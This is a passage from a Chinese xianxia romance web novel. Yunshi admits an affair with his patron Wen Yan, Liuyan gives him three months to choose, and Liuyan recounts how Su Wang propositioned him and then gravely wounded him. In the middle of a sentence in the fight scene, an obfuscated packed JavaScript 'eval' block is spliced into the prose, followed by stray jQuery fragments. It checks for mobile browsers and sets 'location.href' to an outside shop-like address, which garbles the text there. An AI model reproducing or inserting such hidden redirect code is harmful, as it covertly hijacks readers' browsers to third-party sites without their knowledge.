“他碰过你吗?”流衍问得直白而尖锐,每个字都像冰锥,“像苏妄对你做过的那种?或者……别的亲近?” “……有。”云实的声音很轻,却像惊雷一样砸在流衍耳中。 “哪种有?”流衍的声音从牙缝里挤出来,嘶哑得厉害,“是苏妄那种?还是……” “不是苏妄那种。”云实打断他,抬起脸,尽管眼眶还是红的,眼神却清晰了一些,“他……没强迫。是我……我自己也没拒绝清楚。”他顿了顿,似乎在组织最难启齿的部分,“在他府里的时候,有一次……他喝多了,我扶他休息。后来……就发生了。就那么一次。” 他说得很简单,没有细节,但足够明确。 “他喜欢你,是不是?他的庇护和规划……是因为他喜欢你?对你……有那种心思?” 云实有点被流衍此刻的模样吓到了,他下意识地想后退,却被流衍身上散发出的那种悲愤交织的气场所慑,动弹不得。 “我……我不知道……”云实慌乱地摇头,但流衍的眼神死死锁着他,逼得他无处可逃。最终,他崩溃般低喊出来,带着哭腔,“是!我能感觉到!他是喜欢我!他看我的眼神,他为我做的那些事……我能感觉到那种……不一样!可是师兄,我……” “那你呢?!”流衍打断他,猛地向前倾身,几乎要抓住他的肩膀,却又在触及前硬生生停住,手臂剧烈地颤抖着,“你呢,云实?!你喜欢他吗?你对那个温言,那个位高权重、心思深沉、把你当藏品一样庇护规划的男人……你动心了吗?!” 云实彻底僵住了,眼泪毫无征兆地涌了出来,顺着沾满尘土的脸颊滑落。他看着流衍近在咫尺的、因为痛苦和某种绝望的期待而扭曲的脸,那些被刻意忽略、压抑的情感再也无法隐藏。 “我……我不知道那是喜欢,还是依赖,还是害怕……”他语无伦次,眼泪流得更凶,“他对我那么好,那么……重要。没有他,我可能真的就完了。我感激他,我也……我也贪恋那份好。看到他累,我会担心;他夸我做的衣服,我会高兴得整晚睡不着;他说我是‘不同’的,我……我心里会乱跳……可是,可是当他真的想把我变成‘温家云实’,想把我的一切都安排好,让我按他的路走的时候,我又觉得好害怕,好窒息……就像……就像要被什么东西吞掉一样……” 他哭得喘不上气,像个迷路的孩子,将内心最深处的混乱、卑微的眷恋和巨大的恐惧,一股脑地倾泻出来:“我喜欢他对我好……可我又怕他的好……我配不上,我也还不起……我更怕……怕自己最后连恨谁、怨谁、该往哪儿走都不知道了……师兄,我不知道……我真的不知道我是不是喜欢他……” 流衍看着哭得浑身发抖、脆弱不堪的云实,听着他那些混乱却无比真实的剖白,心中那团灼烧的怒火和尖锐的嫉妒,忽然被一种更深沉、更无力的悲凉所覆盖。 在他缺席的、以为云实已经死去的那些日子里,另一个人,以一种他无法比拟的方式,深刻地介入了云实的生命,留下了难以磨灭的印记。 他缓缓松开了紧绷的身体,向后靠去,仿佛瞬间被抽干了所有力气。脸上激烈的情绪褪去,只剩下一种深入骨髓的疲惫和灰败。他抬起手,似乎想替云实擦掉眼泪,指尖却在即将触及时停住,最终无力地垂下。 “……对不起。”流衍的声音低哑得几乎破碎,闭上了眼睛,“我不该……这样逼你。”他像是在对云实说,又像是在对自己说。 屋内只剩下云实压抑不住的啜泣声,和流衍沉重而痛苦的呼吸。 过了许久,云实的哭声才渐渐平息,只剩下偶尔的抽噎。他胡乱地用袖子抹着脸,眼睛又红又肿,不敢再看流衍。 流衍依旧闭着眼,声音平静了一些,却透着挥之不去的疲惫和一丝自嘲:“所以,你现在……是温言的人了?” 云实身体一颤,没有立刻摇头。他沉默了几息,手指无意识地攥紧了衣角,然后,以一种近乎残酷的坦诚,低声道:“按名分……算他认下的义弟。按发生过的事……也算有过肌肤之亲的恋人。”他每个字都说得很慢,很重,像是在亲手揭开自己的疮疤,“我喜欢他……或者说,喜欢过他给的安稳,贪恋过那份毫无道理的庇护和看重。这点,我承认。” 流衍的睫毛剧烈地颤抖了一下,依旧没睁眼,只是嘴角那抹自嘲的弧度更深了,带着苦涩。 “但是,”云实的语气忽然急促起来,带着压抑已久的痛苦和挣扎,“师兄,我真的受不了了!那种感觉……不是他对我不够好,恰恰是他对我太好,好到要把我以后的路、甚至连我该是谁都规划得明明白白!我喘不过气!我想跑!从他想把我写进温家族谱那天起,我就想跑了!” 他像是终于找到了宣泄的出口,声音里带着哭腔和决绝:“我喜欢他,可我也怕他!怕最后连‘云实’这个人都没了,只剩下一个叫‘云实’的、符合他一切期望的傀儡!所以我才拼命想出来,想找你,想弄清楚一些事……好像只有抓着这些,我才记得自己原本是什么样子!” 流衍终于睁开了眼睛。那双总是温和清澈的眼眸,此刻布满了血丝,盛着深不见底的痛楚、一丝疯狂的希冀,以及破釜沉舟般的决绝。他不再掩饰,也不再迂回,直直地看向云实,声音轻得像羽毛,却又重如千钧。 “那我呢?” 云实怔住了。 “你喜欢我吗?”流衍问,目光灼灼,不容闪避,“不是对师兄的敬重,不是对恩人的感激。是男人对男人,是云实对流衍。你……想过我吗?你想让我回来吗?回到你身边?” 这些问题如同惊涛骇浪,将云实彻底淹没。他张着嘴,大脑一片空白,心却狂跳起来,撞得肋骨生疼。喜欢流衍吗?那个总是温和守礼、却会在细微处给予他关照的师兄?那个因为他而被牵连、失踪、如今遍体鳞伤出现在他面前的人?那些混杂着愧疚、依赖、心疼和某种他一直不敢深究的隐秘悸动…… “我……我不知道。”云实的声音破碎了,眼神慌乱,“师兄,我真的不知道那是哪种喜欢……但我绝对没有不在乎你……”他语无伦次,眼泪不受控制地涌出来,“我想你回来……流衍师兄,我真的、真的非常非常想你回来!想到……有时候夜里觉得,如果你能回来,让我用什么换都行……” 这是他能给出的、最混乱也最真实的答案。 流衍缓缓吸了一口气,像是做出了某个重大的决定,声音依旧很轻,却带着不容置疑的决断:“可以。” 云实抬起泪眼,茫然地看着他。 “我可以回来。”流衍重复,一字一句,清晰无比,“但是,只有一点——” 他盯着云实的眼睛,目光锐利如刀,也脆弱如琉璃: “你不能继续和温言在一起了。不是名义上,是实质上。你要断干净。你要选择我。” 云实如遭雷击,僵在原地。这突如其来的、非此即彼的抉择,像一道悬崖横在面前。 “我……”云实嘴唇颤抖,巨大的压力让他几乎崩溃,“师兄,我……我不知道该怎么选……你给我一点时间好不好?你先留下来,把伤养好……我们……我们再慢慢……” “我没有慢慢的时间了。”流衍打断他,声音里带着一种冰冷的、近乎残酷的清醒,“我的心魔,我的伤,我如今的处境……都不允许我再等,再猜,再看你犹豫。” 他闭上眼,又睁开,给出了一个期限,一个不容讨价还价的底线:“我最多就三个月。” 他顿了顿,声音放得更轻,却更重:“三个月后,如果你选他,或者依旧无法决定……我会离开。彻底离开。不会再出现在你面前,也不会再让你为难。” “好。” 云实几乎没有任何犹豫,或者说,在流衍那句“彻底离开”带来的巨大恐慌下,他根本来不及犹豫。他用力点头,声音还带着未褪的哽咽:“你先疗伤,师兄。其他的……我们以后再说。” 流衍深深看了他一眼,没再说话,只是疲惫地点了点头。 疗伤需要绝对安静和专注的环境。云实小心地将几乎脱力的流衍从冰冷的地面搀扶起来,半抱半扶着,挪到屋内那张虽然简陋却铺着厚实草褥的木床上。流衍的身体很轻,靠在云实怀里时,能清晰地感觉到他衣袍下骨头的硌人感和因虚弱而产生的细微颤抖。云实的心又揪紧了一下。 他将流衍安置在床铺内侧,让他盘膝坐好,背靠墙壁支撑。自己则脱掉外袍和鞋子,也上了床,在流衍对面盘膝坐下。狭小的床铺让两人的膝盖几乎相抵,气息相闻。 “师兄,放松心神,跟着我的引导。”云实低声道,深吸一口气,压下心中所有纷乱的情绪,闭上了眼睛。他必须专注,流衍的伤势耽误不起。 流衍也闭上了眼,放松了紧绷的身体和灵台防线,将自己枯竭混乱的灵力场,向云实小心翼翼地打开了一道缝隙。 云实再次运转体内那枚融合了“乱”灵根与苏妄力量的异丹。这一次,他更加谨慎,也更加耐心。指尖凝聚的灵力缓缓探入流衍的气海。 如同最精密的织工修复最脆弱的锦缎,云实全神贯注,引导着这股力量在流衍干涸受损的经脉中缓慢穿行。他避开那些心魔反噬和异种盘踞的节点,先一点点疏通还能贯通的细微支脉,如同为干涸的土地引入细细的溪流。同时,他调动外壳灵力,尝试为流衍那近乎枯竭的灵力本源,注入一丝微弱的生机。 这个过程极其耗费心神和灵力。云实很快额角见汗,脸色再次变得苍白,但他不敢有丝毫松懈。他能感觉到流衍体内那死寂的灵力,在极其微弱地回应着他的引导,开始艰难地、一点一滴地重新汇聚、流转。这是个好迹象。 流衍则完全沉浸在内视和配合之中。他能清晰地感知到云实那股力量的“入侵”,它不像宗门正统疗伤法门那般中正平和、带着寒冽的秩序感,反而有些……“野”。它不遵循既定路线,而是敏锐地寻找着任何可能的通路,带着一种近乎本能的修复欲和一种奇异的、安抚混乱的韵律。 时间在极致的专注中悄然流逝。窗外的夜色从浓黑转为深蓝,又渐渐透出鱼肚白。晨光熹微,鸟鸣渐起。 云实不知道自己坚持了多久,只觉得意识开始有些模糊,体内的灵力也接近告罄。就在他快要支撑不住时,终于感觉到流衍体内那最主要的几条经脉被勉强疏通,一缕虽然微弱却稳定了不少的灵力,开始自行缓缓运转,虽然依旧无法驱动术法,但至少稳住了根基,心魔反噬的躁动也被暂时压制下去不少。 他长长地吐出一口带着血腥味的浊气,手指颤抖着收回,整个人仿佛虚脱一般,向前软倒。 对面的流衍几乎在同一时间睁开了眼睛,虽然脸色依旧苍白,但眉宇间那层灰败的死气已然消散,眼神也清明了许多。他眼疾手快,在云实倒下之前,伸出手臂,堪堪扶住了他倾倒的上身。 云实额头抵在流衍没受伤的那侧肩窝,喘着粗气,浑身都被冷汗浸透,连抬手指的力气都没有了。 “够了……先到这里……”流衍低声道,声音虽然依旧沙哑,却比之前多了些中气。他能感觉到自己体内那令人绝望的枯竭和混乱被暂时遏制住了,虽然距离恢复还差得远,但至少不再继续恶化,甚至有了一丝微弱的向好趋势。这已是远超预期的结果。 他自己也疲惫不堪,心神和身体都到了极限。扶着云实,两人维持着这个有些别扭的姿势,谁也没有力气动弹,就这么静静靠着。 晨光越来越亮,透过窗棂,在简陋的床铺上投下斑驳的光影。空气中漂浮着微尘,还有两人身上散发的、汗水混合着药味和尘土的气息。 不知过了多久,或许是紧绷的神经一旦松懈,困意便如潮水般涌来。流衍感觉到靠在自己身上的云实呼吸逐渐变得绵长均匀——他竟然就这么累得睡着了。而他自己,重伤初稳,心神耗费巨大,在这难得的、暂时安全的宁静中,浓重的疲惫也终于彻底吞噬了意识。 他小心翼翼地调整了一下姿势,让云实能靠得更舒服些,自己也放松了紧绷的脊背,向后靠在墙壁上。眼皮越来越沉,最终,他也在这片安静的晨光里,陷入了深沉的睡眠。 两人就这般,在狭小的木床上,一个靠着另一个的肩膀,一个倚着墙壁,相抵的膝盖尚未分开,在经历了惊心动魄的重逢、激烈的对峙、沉重的抉择和耗尽心力的疗伤之后,终于不堪重负地睡去。阳光缓缓移动,将他们依偎的身影拉长,定格在这间荒僻小院寂静的正午时光里。 …… 流衍的声音很轻,仿佛只是在陈述一个与己无关的事实:“我的伤,不是追查山魈案时,被遗迹陷阱所伤。” 他避开云实那双过于清澈、总能轻易搅动他心绪的眼眸,流衍将视线投向窗外那片被正午阳光照得有些晃眼的简陋庭院,思绪却沉入了那段他不愿回忆、却在此刻不得不剖开的过往。 那时,云实的死讯已经辗转传来许久。起初是不信,多方查证后,却只剩冰冷的、指向尸骨无存的碎片信息。天衡宗的缉令未曾撤销,但追捕的力度似乎随着时间流逝而减弱,最终变成卷宗里一桩悬而未决的旧案。宗门内,霁雪仙尊飞升的余波尚未完全平息,天蕴接掌权柄,百事待兴,诸多目光或明或暗地落在原本呼声颇高、却因修为停滞而失格的自己身上。压力无处不在,而心底那块因为某个人的死去而变得空洞荒芜的地方,日夜啃噬着他所剩不多的平静。 他让自己沉浸在公务和调查里,近乎自虐般地追查着山魈案的每一条线索。荒村的账册、玉简、被篡改的驭兽环……越是深入,越感到一张无形的大网。那些被注入法器、引发失控的异种力量,属性诡异,手法精专,绝非寻常散修或黑市匠师能为。所有的蛛丝马迹,经过无数次推演和排除,最终都隐隐指向一个地方——大自在天,以及那个名字所代表的人,苏妄。 并非直接证据,更多是一种基于对序乱之道和那人力量的了解而产生的直觉。苏妄有技术,有能力,更有漠视一切规则、行事只凭兴致的性情。那些流出的、被恶意使用的技术,或许并非他亲自授意散布,但很难说与他完全无关。流衍需要答案,不仅是为了案子,似乎也是为了给内心某种无处宣泄的、混合着愤怒、无力与更深沉晦暗情绪的东西,找一个出口。 于是,他去了。没有告知天蕴,也未带任何随从。孤身一人,踏入了大自在天势力影响边缘的荒芜区域。 那里的景象奇异而令人不适。大地呈现出非自然的龟裂与隆起,岩石扭曲成违背常理的姿态,色彩也显得浑浊暧昧,仿佛光与影、实与虚的界限在此地变得模糊。空气中弥漫着一种无形的压力,让人心浮气躁,杂念丛生。寻常草木难以生存,只有一些颜色妖异、形态古怪的蕨类或地衣,在石缝间蔓延。 流衍收敛了全部气息,试图抵御外界混乱道韵的侵蚀,同时仔细感应着任何可能与苏妄相关的痕迹。他知道苏妄行踪诡秘,即便在大自在天范围内也神龙见首不见尾,只能凭运气和耐心守候。 他在一片由无数尖锐石笋构成的、如同凝固海浪般的石林边缘潜伏了数日。期间目睹了几起短暂的冲突,一些慕名而来或心怀叵测的修士,或是彼此争斗,或是被环境中天然的陷阱所伤,仓皇退走。苏妄始终未曾现身。 就在流衍准备换个区域探查时,他感应到了一丝极其微弱的、但品质极高的乱力波动,从那石林深处传来。那波动一闪而逝,却带着一种独特的韵律,与他之前研究的、荒村驭兽环上残留的异种力量,有几分相似之处。 心中一凛,流衍不再犹豫,悄无声息地潜入了石林。石笋如刀,光影迷离,灵识在这里受到严重干扰,仿佛陷入粘稠的泥沼。他全神戒备,每一步都走得极其小心。 不知深入了多久,前方出现了一片相对开阔的洼地。洼地中央,竟有一小潭幽深的水,水面平静无波,颜色是诡异的墨蓝,倒映着周围扭曲的石影。而水潭边,一块相对平坦的黑色巨石上,一个人正背对着他,随意地坐着。 那人穿着一身刺目的红衣,浓郁到近乎暗沉的绯红在这片色调混乱扭曲的石林中,显得异常扎眼。红发如瀑,未束未绾,随意披散在肩背与那身绯红衣袍上,几乎融为一色。他手里似乎拿着什么小物件,正对着幽潭,漫不经心地摆弄着。周身没有丝毫强大的灵力外放,甚至给人一种不存在的错觉,仿佛他只是这片扭曲石林里另一块稍微特别的、燃烧着的石头。 但流衍的心脏却猛地一沉。就是他了。苏妄,不会错。 流衍深吸一口气,压下心中翻腾的复杂情绪,尽量让声音保持平稳。他开口:“大自在天之主,苏妄前辈。” 声音在寂静的石林中传出,显得有些突兀。水潭边的人影动作顿了一下,似乎有些意外,但并未回头。 “嗯?”一个略显慵懒、尾音微微上扬的嗓音传来,听不出喜怒,“又有不怕死的小虫子摸进来了?这次是为了求道,求丹,还是求死?” 他说着,缓缓转过了身。 流衍稳住心神,强迫自己不去深究那双眼睛带来的不适,拱手道:“晚辈天衡宗流衍,并非为私事而来。冒昧打扰前辈清静,是想请教一事。” “天衡宗?”苏妄挑了挑眉,似乎来了点兴趣,但那份兴趣也浮于表面,未达眼底,“霁雪那老头的地盘?他刚飞升不久吧?怎么,新宗主派你来探我的底?” 他语气随意,仿佛在谈论天气。 “并非宗主之命。”流衍道,“是晚辈私下调查一桩旧案,发现一些线索,可能牵扯到大自在天流出的某些……技术应用。想请前辈解惑,那些以‘序乱’之道篡改正统法器、引发灾祸的手段,是否与前辈门下有关?” “技术?应用?”苏妄歪了歪头,像是听到了什么有趣的说法,低低笑了两声,“我这儿的东西,流出去的可多了。被人捡去怎么用,是杀人还是放火,是造福还是造孽,关我什么事?”他摊了摊手,“难道炼铁的打了一把菜刀,有人拿去砍了人,也要炼铁匠负责?” “若只是无意流出,自然另当别论。”流衍不为所动,紧紧盯着苏妄,“但若是有人刻意模仿、甚至改良前辈的技术,形成一套危害甚广的体系,前辈身为源头,是否也当有所察觉,有所约束?” “约束?小朋友,你是不是搞错了什么?我这里不是开善堂,也不是立规矩的地方。大自在天,自在为先。东西出去了,怎么用,是别人的‘自在’。我为什么要约束?又凭什么去约束?”他顿了顿,眼中闪过一丝玩味,“再说了,你口口声声说危害甚广,证据呢?就凭你那点粗浅的感应,和一些似是而非的线索?天衡宗教出来的,都这么喜欢自以为是,给别人定罪吗?” 流衍被他这番歪理噎得一滞,知道在道理上与此人纠缠毫无意义。他深吸一口气,决定换一个方向,一个他明知危险、却无法绕开的方向。 “即便前辈对技术流出无意过问,那么……人呢?”流衍的声音低沉下去,带着一丝不易察觉的紧绷,“前辈可还记得,一个叫云实的少年?” 听到这个名字,苏妄脸上那点漫不经心的笑意似乎凝固了那么一瞬。他打量着流衍,目光里多了几分审视,像是第一次认真看他。 “谁?”苏妄重复了一遍这个名字,语气有些微妙,“哦,那个……小布料商?”他忽然笑了起来,这次的笑容里带上了一丝真实的、却让人极其不舒服的兴味,“怎么,你认识他?” 流衍袖中的手悄然握紧:“他曾是我天衡宗弟子。” “曾?”苏妄捕捉到了这个字眼,笑容变得有些意味深长,“听说他死了?死得还挺干净。” 这句话像一根毒刺,狠狠扎进流衍心口最痛的地方。他几乎能听到自己理智崩断的细微声响。但他还是强行按捺住了,声音因压抑而微微发颤:“他的事……前辈难道没有什么要说的吗?他在大自在天的那段经历……” “经历?”苏妄打断他,饶有兴致地向前倾了倾身,仿佛在分享什么趣事,“那孩子挺有意思的。看着老实巴交,骨子里却有一股狠劲,为了点力量和出路,什么都肯交易,什么都能忍。”他啧了一声,像是在回味,“味道……也不错。” 苏妄这句话说得轻飘飘,尾音甚至带着一丝回味般的上扬,像在点评一道时令小菜。他依旧歪着头,那双深井般的眼睛落在流衍身上,带着毫不掩饰的、令人极其不适的打量,仿佛在评估一件货物。 流衍死死咬住了牙关,将那股几乎要冲破喉咙的怒吼和出手的冲动强行压了下去。他知道,绝不能在这里,因为这句话就失去理智。那无异于自杀,也救不回任何人,更问不出任何真相。云实已经……不在了。他不能被情绪左右,坠入对方的节奏。 他强迫自己迎上苏妄的目光:“前辈请自重。云实之事,是非曲直,晚辈今日暂且不论。晚辈此来,只为追查山魈案线索,还请前辈明示,那些流出的、被滥用的技艺,源头究竟在何处?是否有心人刻意为之?” 苏妄看着他紧绷却竭力维持镇定的脸,眼中的兴味似乎更浓了些。他并没有回答关于线索的问题,反而像是发现了什么新玩具,目光更加露骨地在流衍清俊却因连日奔波和心力交瘁而略显苍白的脸上逡巡,掠过他紧抿的唇线,修长的脖颈,以及因为隐忍而微微起伏的胸膛。 “啧。”苏妄忽然轻笑一声,身体更向前倾了些,几乎要越过那块黑石与流衍之间并不算近的距离所带来的无形界限,“小朋友,你生气的样子……比你板着脸问案子的样子,有趣多了。”他的语气陡然一转,带上了一种近乎诱哄的、却又饱含亵渎意味的轻佻,“瞧你这身段,这眉眼……也挺清秀可人的嘛。为了查案,这么辛苦跑到我这荒山野岭来,多不值当。” 流衍浑身一僵,一股寒意混合着强烈的羞辱感猛地窜上脊背。 苏妄仿佛没看到他骤然变冷的眼神和僵硬的身体,继续用那种漫不经心却又带着绝对掌控力的口吻说道:“要不……你也别查什么案子了。留下来,陪陪我?想要什么,都好说。功法?丹药?真相?还是……别的什么前程?”他顿了顿,目光有意无意地扫过流衍腰间象征着天衡宗内门弟子身份的玉佩,嘴角勾起一抹似笑非笑的弧度,“总比你在天衡宗,看着别人接掌权柄,自己修为停滞、前途未卜,还要为一个死掉的小玩具耿耿于怀……来得强吧?” 每一个字,都像淬了毒的针,精准地扎在流衍此刻最敏感、最疼痛的伤口上——云实的“死”,如果说之前关于云实的评价只是点燃了怒火,那么此刻苏妄这轻佻的侮辱,便是彻底焚毁了他所有理智的堤坝。 “你——!”流衍从牙缝里挤出一个字,胸膛剧烈起伏,那双总是温和清澈的眼眸,此刻被滔天的怒火和一种被彻底触犯底线的暴戾彻底染红。 什么权衡利弊,什么实力差距,什么隐忍图谋,在这一刻统统被抛诸脑后。只剩下一个念头:杀了这个口出污言、践踏他人、视万物为刍狗的混账! 流衍甚至没有掐诀,体内的“寒雨诀”心法在极致愤怒的催动下自动运转到前所未有的速度,周身灵气疯狂汇聚,空气温度骤降,水汽瞬间凝结成无数细密冰晶,在他身周形成一片凛冽的冰雾。他并指如剑,一道凝练到极致、几乎化为深蓝色的冰寒剑气,带着他全部的愤恨、屈辱和决绝,撕裂空气,发出尖锐刺耳的厉啸, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934580|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直刺水潭边苏妄的眉心! 这一击,毫无保留,透支了他当时状态下所有的灵力和心神,是他修行至今发出的、最强也是最不计后果的一剑。剑光所过之处,连空间似乎都微微扭曲,留下一道清晰的霜痕。 面对这含怒而发、近乎搏命的一击,苏妄脸上的轻佻笑容甚至没有丝毫变化。他甚至颇为惋惜地摇了摇头,仿佛在叹息一件精美瓷器的自我毁灭。 “何必呢。”他叹息般说道,抬起右手,食指和中指并拢,就那么随意地、仿佛夹住一片飘落的雪花般,向前一探。 一声极其清脆、却并不响亮的金石交击之声响起。 流衍那凝聚了全身修为和怒火的冰寒剑气,在距离苏妄指尖尚有寸许距离时,便如同撞上了一堵无形无质、却坚不可摧的墙壁,骤然停滞。紧接着,剑气本身开始以肉眼可见的速度崩解、消散,不是被击碎,而是像烈日下的冰雪,迅速消融于无形。连同其中蕴含的凌厉剑意和刺骨杀机,也一并被无声抹去。 而苏妄那看似随意探出的两指,在“夹住”剑气的瞬间,轻轻一弹。 一股无法形容的力量,顺着那尚未完全消散的剑气联系,无视空间距离,瞬间反向侵入了流衍的体内。 流衍如遭重锤猛击,整个人向后倒飞出去,口中喷出的鲜血在空中划出一道凄艳的弧线。他重重摔在数丈外的尖锐石笋丛中,后背撞断了几根石刺,剧痛传来,却远不及体内骤然爆发的混乱和侵蚀。 那股侵入的力量阴毒无比,它像一只无形的手,猛地攥住了他刚刚因为愤怒而超负荷运转的灵力核心,粗暴地搅动、撕裂!同时,一股冰冷而混乱的意志如同跗骨之蛆,顺着经脉直冲灵台,因刚才极致羞辱而剧烈波动的负面情绪瞬间结合,疯狂滋长! 心魔?引动心魔? 流衍眼前一黑,只觉得天旋地转,无数混乱狰狞的幻象开始在脑海中咆哮翻腾——云实苍白的脸,苏妄轻佻的笑,师尊失望的眼神,天蕴接任时的场景,还有自己内心那些隐秘的、不堪的、被强行压抑的情感……一切的一切,都在心魔的催化下扭曲、放大,冲击着他摇摇欲坠的道心。 腹部的剧痛,灵力的暴乱,心魔的侵蚀……三重打击叠加,让他几乎瞬间失去了所有反抗能力,只能蜷缩在冰冷的石地上,痛苦地痉挛着,鲜血不断从口鼻中溢出,染红了身下的碎石。 苏妄缓缓收回了手指,仿佛只是掸了掸衣袖上并不存在的灰尘。他站起身,踱步到流衍身前,居高临下地看着这个因为自己一句话、一个轻佻提议就彻底崩溃、重伤濒死的天衡宗精英弟子,眼中既无得意,也无怜悯,只有一片深不见底的漠然和一丝淡淡的……无趣。 “真不禁打。”他评价道,语气平淡得像在说今天天气不好,“说了让你陪陪我,是抬举你。非要自己找死。”他摇了摇头,似乎觉得有些浪费,“看在你还算有几分烈性,没直接弄死你。滚吧,别死在我门口,晦气。” 说完,他不再看流衍一眼,转身,脚步轻缓地走向石林更深处,消失不见。 回忆的闸门缓缓关闭。流衍收回望向窗外的视线,重新看向面前脸色苍白、眼神惊痛交加的云实。腹部的旧伤似乎因为情绪的波动而隐隐作痛,但他脸上的表情已经恢复了平静。 “就是这样。”他淡淡道,结束了讲述,“所以,我的伤,根子在苏妄那里。后来在遗迹中,不过是旧伤引动了心魔,雪上加霜罢了。” 屋内一片死寂。阳光依旧明亮,却仿佛驱不散骤然笼罩下来的沉重寒意。 云实消化着这骇人的真相,心脏像被一只无形的手紧紧攥住,又酸又痛,几乎喘不过气。他看着流衍紧抿的唇线和眼底深处那挥之不去的阴霾,一股强烈的冲动涌上心头,想要说些什么,来缓解这份沉重,或者……纠正一些可能导致误会的方向。 “……或许,”云实的声音有些干涩,打破了令人窒息的沉默,“师兄,你或许……不该直接去找苏妄。” 流衍睫毛微颤,目光转向他,带着一丝疑问和未散的沉郁。 “山魈案的事,”云实舔了舔有些发干的嘴唇,组织着语言,“后来温言查到了更确切的后续。那个第一个被山魈杀死的小吏,其实就是始作俑者。他动了官制的驭兽环,私自驯养那头山魈,是想……偷偷献给上面的某位大人物当礼物,走歪门邪道求晋升。这属于官场腐败,事情闹出来后,牵扯不小,那人背后的靠山也受了牵连,很快就被抓了。” 他顿了顿,观察着流衍的神色,继续道:“至于篡改驭兽环的技法……温言顺着线往下挖,发现那技法确实源头在大自在天,但……和苏妄本人没什么直接关系。甚至都不是苏妄发明的方法。” “是苏妄手底下的一个弟子,自己琢磨出来的一种偏门应用,本来是想辅助驯服某些特定属性妖兽的,结果不小心在一次黑市交易中把关键部分透出去了。”云实解释道,语气尽可能客观,“苏妄……据说根本不知道这回事,知道了大概也懒得管。他那里龙蛇混杂,流出点什么奇怪东西,也不稀奇。” 屋内安静了片刻。流衍看着他眼中那份真切的后怕,以及试图为自己“开脱”的急切,心中那股混合着剧痛、无力、以及一丝难以言喻酸涩的情绪,忽然翻涌上来,冲垮了那层强装的平静。他扯了扯嘴角,露出一抹近乎讥诮的弧度,声音却轻得像羽毛,带着冰冷的刺痛。 “哦?那我当时是不是就应该……答应他?像你一样?顺着他,哄着他,说不定也能换来点力量,或者别的什么出路?” 这话像淬了冰的针,狠狠扎进云实心口最不愿触碰的旧伤。他的脸色瞬间白了,嘴唇颤抖着,难以置信地看着流衍。胸腔里一阵翻江倒海的恶心和尖锐的疼痛,让他几乎要干呕出来。 “你……”云实的声音从牙缝里挤出来,带着压抑不住的颤抖,“师兄,你一定要把话说得这么难听吗?” “难听?”流衍眼底那点讥诮化为了更深的寒意,他坐直了些,尽管这个动作让他腹部伤处一阵抽搐,脸色更白,但目光却锐利地钉在云实脸上,“我只是在说一种可能,不是吗?你不是最清楚吗?合作,迂回……这些不都是你从苏妄那里学来的生存智慧吗?怎么,我用这个词,你就觉得难听了?” 流衍恨苏妄的轻侮,更恨……更恨云实曾经那样卑微地、甚至主动地去迎合过那种轻侮,哪怕是被逼无奈。这让他觉得自己那些愤怒、那些意难平,都像个可笑又可怜的笑话。 云实的眼泪“唰”地就下来了:“是!我是难堪!我是难看!我是不择手段想活下去想变强!可我有得选吗?!流衍,你是天之骄子,你是宗门看重的内门弟子!你就算一时不顺,你背后还有天衡宗,还有师长同门!我呢?!” 他猛地扯开自己本就单薄的衣襟领口,露出锁骨下方的伤痕:“我从杂役堆里爬出来,测灵是杂灵根,连外门都进不去!我爹被修士误伤只能认命!我拿着个储物袋当宝贝!我去天衡宗后厨都要靠……靠那种交易才能进去!” 他越说越快:“我就像阴沟里的老鼠,看见一点点光就想扑上去,哪怕那光是火,可能会烧死我!苏妄是火,温言也是火!一个烧得我皮开肉绽,一个烤得我喘不过气!可我能怎么办?你说啊!我难道就活该烂在泥里,活该被随便哪个路过的修士踩死,活该让我爹娘弟妹看着我毫无指望吗?!” “所以你就觉得,只要能往上爬,用什么手段都可以,是吗?”流衍的声音冷得像冰,他没有被云实的眼泪和激动撼动,反而像是被触动了某根更敏感的神经,“哪怕明知道温言对你另有所图,你还是舍不得放手,因为那好是实实在在的!云实,你到底是害怕变成另一个人,还是害怕失去已经到手的这些好处?!” “我没有!”云实双手抓住流衍的肩膀,手指因为用力而骨节发白,“我没有舍不得!我只是……我只是不知道离开他我能去哪儿!我能干什么!流衍师兄,你告诉我!我要是离开温言,天衡宗的缉令还在,苏妄的影子还在,我能去哪儿?回青石镇继续卖布?让我妹妹看着我这个已死的兄长偷偷摸摸过一辈子?还是继续像没头苍蝇一样在外面逃,不知道哪天就被人打死?!” 他摇晃着流衍,仿佛想从他那里得到一个答案,一个保证:“你说你等我选择,你给我三个月!可这三个月,你能给我什么?你能保证我的安全吗?你能给我一条不被通缉、不被追杀的活路吗?你能让我爹娘安心,让我妹妹不用再替我担惊受怕吗?你不能!你现在自身难保,伤得比我还重!你连自己都护不住!” “是!我是给不了!”流衍猛地挥开云实的手,因为动作太大牵动伤势,疼得他眼前发黑,但他强忍着,赤红着眼睛瞪着云实,“我给不了你温言能给的安稳和前程!我给不了你洗白的身份和庇护!我甚至可能还会连累你,让你跟我一起死在外面!可云实,这就是你评判一切的标准吗?有没有用?安不安全?划不划算?!” 云实喘着粗气,胸口剧烈起伏:“那你当初为什么又要回来找我?为什么听到我失踪那么着急?为什么耗尽灵力也要给我爹疗伤?是因为我有用吗?还是因为你觉得,对着我这个旧识,你这点愧疚和怜悯,也是一笔可以计算清楚的账?!” 看着他崩溃的样子,流衍心中那团暴烈的怒火,像是被泼了一盆冰水,嗤嗤作响,冒出更多痛苦的白烟。他何尝不知道云实并非全然算计?可正是那份真实的关切和此刻的崩溃,与他口中那些现实的考量、对温言的依赖交织在一起,才更让他感到一种被撕裂的痛楚。他既渴望那份纯粹的关切是属于他的,又恐惧那关切的背后,掺杂了太多他无法给予、也无法接受的东西。 “你不知道……”流衍喃喃重复,声音低得几乎听不见,带着无尽的疲惫和自嘲,“是啊,你什么都不知道。你不知道我为什么非要你选,你不知道我听到你和温言……听到那些事的时候,心里是什么滋味。你只觉得我在逼你。” 